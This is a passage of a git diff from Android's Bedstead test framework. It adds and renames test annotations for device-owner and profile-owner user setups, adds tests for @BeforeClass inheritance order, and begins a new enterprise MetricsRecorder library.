     /** The name of the profile type which the test should be run on. */
     String value();
+
+    /** If the profile type requires a profile owner. */
+    boolean hasProfileOwner() default false;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java
similarity index 61%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwner.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java
index baa59fe..b8aea09 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java
@@ -16,7 +16,11 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -25,11 +29,14 @@
 import java.lang.annotation.Target;
 
 /**
- * Parameterize a test so that it runs on a user with a profile owner.
+ * Parameterize a test so that it runs on a affiliated secondary user on a device with a
+ * Device Owner.
  */
 @Target({ElementType.METHOD, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
-@RequireRunOnWorkProfile(dpcIsPrimary = true)
-public @interface IncludeRunOnProfileOwner {
+@RequireRunOnSecondaryUser
+@EnsureHasDeviceOwner(onUser = SYSTEM_USER, isPrimary = true, affiliationIds = "affiliated")
+@EnsureHasProfileOwner(affiliationIds = "affiliated")
+public @interface IncludeRunOnAffiliatedDeviceOwnerSecondaryUser {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java
new file mode 100644
index 0000000..65f5851
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.parameterized;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Parameterize a test so that it runs on a affiliated secondary user on a device with a
+ * Device Owner - with the profile owner set as primary.
+ */
+@Target({ElementType.METHOD, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@ParameterizedAnnotation
+@RequireRunOnSecondaryUser
+@EnsureHasDeviceOwner(onUser = SYSTEM_USER, affiliationIds = "affiliated")
+@EnsureHasProfileOwner(affiliationIds = "affiliated", isPrimary = true)
+public @interface IncludeRunOnAffiliatedProfileOwnerSecondaryUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
index 6d44e6e..61a0f3c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
@@ -16,6 +16,10 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
@@ -32,6 +36,7 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 @RequireRunOnPrimaryUser
+@EnsureHasNoWorkProfile
 @EnsureHasDeviceOwner(isPrimary = true)
 public @interface IncludeRunOnDeviceOwnerUser {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
index 7bff643..84bf602 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
@@ -35,6 +35,6 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 @RequireRunOnSecondaryUser
-@EnsureHasDeviceOwner(onUser = SYSTEM_USER, isPrimary = true)
+@EnsureHasDeviceOwner(onUser = SYSTEM_USER, isPrimary = true, affiliationIds = {})
 public @interface IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java
index 165f249..1d4182a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
+import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java
index 2eb8ab0..a653de7 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java
@@ -16,8 +16,12 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -32,6 +36,7 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 @RequireRunOnPrimaryUser
+@EnsureHasNoDeviceOwner
 @EnsureHasWorkProfile(dpcIsPrimary = true)
 public @interface IncludeRunOnParentOfProfileOwner {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java
similarity index 70%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwner.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java
index baa59fe..d9352fe 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java
@@ -16,7 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -25,11 +27,13 @@
 import java.lang.annotation.Target;
 
 /**
- * Parameterize a test so that it runs on a user with a profile owner.
+ * Parameterize a test so that it runs on the primary user
  */
 @Target({ElementType.METHOD, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
-@RequireRunOnWorkProfile(dpcIsPrimary = true)
-public @interface IncludeRunOnProfileOwner {
-}
+@RequireRunOnPrimaryUser
+@EnsureHasNoDeviceOwner
+@EnsureHasProfileOwner(isPrimary = true)
+public @interface IncludeRunOnProfileOwnerPrimaryUser {
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfile.java
similarity index 70%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnWorkProfile.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfile.java
index 31b6da5..d6914f0 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfile.java
@@ -16,7 +16,13 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
+import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -30,6 +36,7 @@
 @Target({ElementType.METHOD, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
-@RequireRunOnWorkProfile
-public @interface IncludeRunOnWorkProfile {
+@RequireRunOnWorkProfile(dpcIsPrimary = true)
+@EnsureHasNoDeviceOwner
+public @interface IncludeRunOnProfileOwnerProfile {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java
index cf14dfb..88cf1cc 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java
@@ -16,8 +16,11 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java
index 992138d..7da942a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/LockTask.java
@@ -17,7 +17,7 @@
 package com.android.bedstead.harrier.policies;
 
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.USER;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.NO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.AFFILIATED_OR_NO_DO;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -32,6 +32,6 @@
  * {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)} and
  * {@link DevicePolicyManager#setLockTaskPackages(ComponentName, String[])}.
  */
-@EnterprisePolicy(deviceOwner = USER, profileOwner = NO)
+@EnterprisePolicy(deviceOwner = USER, profileOwner = AFFILIATED_OR_NO_DO)
 public final class LockTask {
 }
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java
index 287eb4a..f7860548 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java
@@ -21,14 +21,14 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
 import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
 import com.android.bedstead.nene.TestApis;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
 import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.Test;
@@ -37,7 +37,7 @@
 @RunWith(BedsteadJUnit4.class)
 @EnsureHasWorkProfile
 @EnsureHasNoSecondaryUser
-public class DeviceStateClassAnnotationTest {
+public class DeviceStateClassAnnotationTest extends DeviceStateTestParent {
 
     @ClassRule
     @Rule
@@ -45,6 +45,21 @@
 
     private static final TestApis sTestApis = new TestApis();
 
+    private static boolean sBeforeClassHasRun = false;
+    private static boolean sShadowedGrandparentWithoutBeforeClassInTestClassHasRun = false;
+
+    // Shadowing
+    @BeforeClass
+    public static void shadowedGrandparentBeforeClass() {
+        DeviceStateTestGrandparent.shadowedGrandparentBeforeClass();
+    }
+
+    // Shadowing
+    public static void shadowedGrandparentWithoutBeforeClass() {
+        sShadowedGrandparentWithoutBeforeClassInTestClassHasRun = true;
+        DeviceStateTestGrandparent.shadowedGrandparentWithoutBeforeClass();
+    }
+
     @BeforeClass
     public static void beforeClass() {
         // We test here that ensureHasWorkProfile is processed before the test method
@@ -57,6 +72,11 @@
         assertThat(sTestApis.users().findUserOfType(
                 sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
         ).isNull();
+
+        // Test that the parent always runs before the child
+        assertThat(sParentBeforeClassHasRun).isTrue();
+
+        sBeforeClassHasRun = true;
     }
 
     @AfterClass
@@ -65,6 +85,17 @@
     }
 
     @Test
+    public void beforeClassHasRunInCorrectOrder() {
+        // The @BeforeClass on this class have run
+        assertThat(sBeforeClassHasRun).isTrue();
+        // The @BeforeClass from an ancestor class has run even though shadowed
+        assertThat(sShadowedGrandparentBeforeClassHasRun).isTrue();
+
+        assertThat(sShadowedGrandparentWithoutBeforeClassInTestClassHasRun).isFalse();
+        assertThat(sShadowedGrandparentWithoutBeforeClassHasRun).isTrue();
+    }
+
+    @Test
     public void ensureHasWorkProfileAnnotationOnClass_workProfileExists() {
         assertThat(sTestApis.users().findProfileOfType(
                 sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index 9a6e88f..f193750 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -65,7 +65,7 @@
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnDeviceOwnerUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfProfileOwner;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfile;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.Package;
@@ -422,7 +422,7 @@
     }
 
     @Test
-    @IncludeRunOnProfileOwner
+    @IncludeRunOnProfileOwnerProfile
     public void includeRunOnProfileOwnerAnnotation_hasProfileOwner() {
         assertThat(
                 sTestApis.devicePolicy().getProfileOwner(sTestApis.users().instrumented())
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTestGrandparent.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTestGrandparent.java
new file mode 100644
index 0000000..de58c00
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTestGrandparent.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import com.android.bedstead.harrier.annotations.BeforeClass;
+
+/**
+ * This is a parent class used for testing test inheritance.
+ *
+ * <p>Test inheritance is not recommended when using Bedstead but should be supported.
+ */
+public class DeviceStateTestGrandparent {
+
+    public static boolean sShadowedGrandparentBeforeClassHasRun = false;
+    public static boolean sGrandparentBeforeClassHasRun = false;
+    public static boolean sShadowedGrandparentWithoutBeforeClassHasRun = false;
+
+    @BeforeClass
+    public static void grandparentBeforeClass() {
+        sGrandparentBeforeClassHasRun = true;
+    }
+
+    /**
+     * This method should be shadowed by the test class, which means it should not run before
+     * the "parent" methods. */
+    @BeforeClass
+    public static void shadowedGrandparentBeforeClass() {
+        sShadowedGrandparentBeforeClassHasRun = true;
+    }
+
+    /**
+     * This method should be shadowed by the test class without a @BeforeClass annotation, which
+     * means it should not run before the tests at all. */
+    @BeforeClass
+    public static void shadowedGrandparentWithoutBeforeClass() {
+        sShadowedGrandparentWithoutBeforeClassHasRun = true;
+    }
+}
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTestParent.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTestParent.java
new file mode 100644
index 0000000..2f8a15c
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTestParent.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.bedstead.harrier.annotations.BeforeClass;
+
+/**
+ * This is a parent class used for testing test inheritance.
+ *
+ * <p>Test inheritance is not recommended when using Bedstead but should be supported.
+ */
+public class DeviceStateTestParent extends DeviceStateTestGrandparent {
+
+    public static boolean sParentBeforeClassHasRun = false;
+
+    @BeforeClass
+    public static void parentBeforeClass() {
+        assertThat(sShadowedGrandparentBeforeClassHasRun).isFalse();
+        assertThat(sShadowedGrandparentWithoutBeforeClassHasRun).isTrue();
+        assertThat(sGrandparentBeforeClassHasRun).isTrue();
+
+        sParentBeforeClassHasRun = true;
+    }
+}
diff --git a/common/device-side/bedstead/metricsrecorder/Android.bp b/common/device-side/bedstead/metricsrecorder/Android.bp
new file mode 100644
index 0000000..6fb40fb
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/Android.bp
@@ -0,0 +1,32 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "MetricsRecorder",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "Nene",
+        "Queryable",
+        "statsdprotonano_mapped"
+    ],
+    min_sdk_version: "27"
+}
+
+// Rewrite the proto packages for use by MetricsRecorder
+java_library {
+    name: "statsdprotonano_mapped",
+    static_libs: [
+        "statsdprotonano",
+    ],
+    target: {
+        android: {
+            jarjar_rules: "jarjar-rules.txt",
+        },
+    }
+}
diff --git a/common/device-side/bedstead/metricsrecorder/jarjar-rules.txt b/common/device-side/bedstead/metricsrecorder/jarjar-rules.txt
new file mode 100644
index 0000000..e10c7be
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/jarjar-rules.txt
@@ -0,0 +1 @@
+rule com.google.protobuf.nano.** com.android.framework.protobuf.nano.@1
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/boottest/app/AndroidManifest.xml b/common/device-side/bedstead/metricsrecorder/src/main/AndroidManifest.xml
similarity index 83%
rename from hostsidetests/packagemanager/boottest/app/AndroidManifest.xml
rename to common/device-side/bedstead/metricsrecorder/src/main/AndroidManifest.xml
index 06b1e34..a542c6e 100644
--- a/hostsidetests/packagemanager/boottest/app/AndroidManifest.xml
+++ b/common/device-side/bedstead/metricsrecorder/src/main/AndroidManifest.xml
@@ -1,4 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
+
 <!--
   ~ Copyright (C) 2021 The Android Open Source Project
   ~
@@ -16,11 +17,9 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.packagemanager.boottest.stub">
+          package="com.android.bedstead.metricsrecorder">
+    <uses-sdk android:minSdkVersion="27" />
 
     <application>
-        <activity android:name=".StubActivity"
-                  android:exported="true"/>
     </application>
-
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java
new file mode 100644
index 0000000..2f59f88
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.metricsrecorder;
+
+import com.android.os.nano.AtomsProto;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public final class EnterpriseMetricInfo {
+    private final String mAdminPackageName;
+    private final boolean mBoolean;
+    private final List<String> mStrings;
+
+    EnterpriseMetricInfo(AtomsProto.DevicePolicyEvent event) {
+        mAdminPackageName = event.adminPackageName;
+        mBoolean = event.booleanValue;
+        mStrings = (event.stringListValue == null) ? new ArrayList<>() : Arrays.asList(
+                event.stringListValue.stringValue);
+    }
+
+    public String adminPackageName() {
+        return mAdminPackageName;
+    }
+
+    public boolean Boolean() {
+        return mBoolean;
+    }
+
+    public List<String> strings() {
+        return mStrings;
+    }
+
+    @Override
+    public String toString() {
+        return "EnterpriseMetricInfo{"
+                + "adminPackageName=" + mAdminPackageName
+                + ", boolean=" + mBoolean
+                + ", strings=" + mStrings
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
new file mode 100644
index 0000000..671e12b
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.metricsrecorder;
+
+import static com.android.os.nano.AtomsProto.Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.framework.protobuf.nano.CodedOutputByteBufferNano;
+import com.android.framework.protobuf.nano.InvalidProtocolBufferNanoException;
+import com.android.framework.protobuf.nano.MessageNano;
+import com.android.internal.os.nano.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.nano.StatsdConfigProto.EventMetric;
+import com.android.internal.os.nano.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.nano.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.nano.StatsdConfigProto.StatsdConfig;
+import com.android.os.nano.AtomsProto;
+import com.android.os.nano.StatsLog;
+import com.android.os.nano.StatsLog.ConfigMetricsReportList;
+import com.android.queryable.Queryable;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Objects;
+import java.util.stream.Collectors;
+
+/**
+ * Metrics testing utility
+ *
+ * <p>Example usage:
+ * <pre>{@code
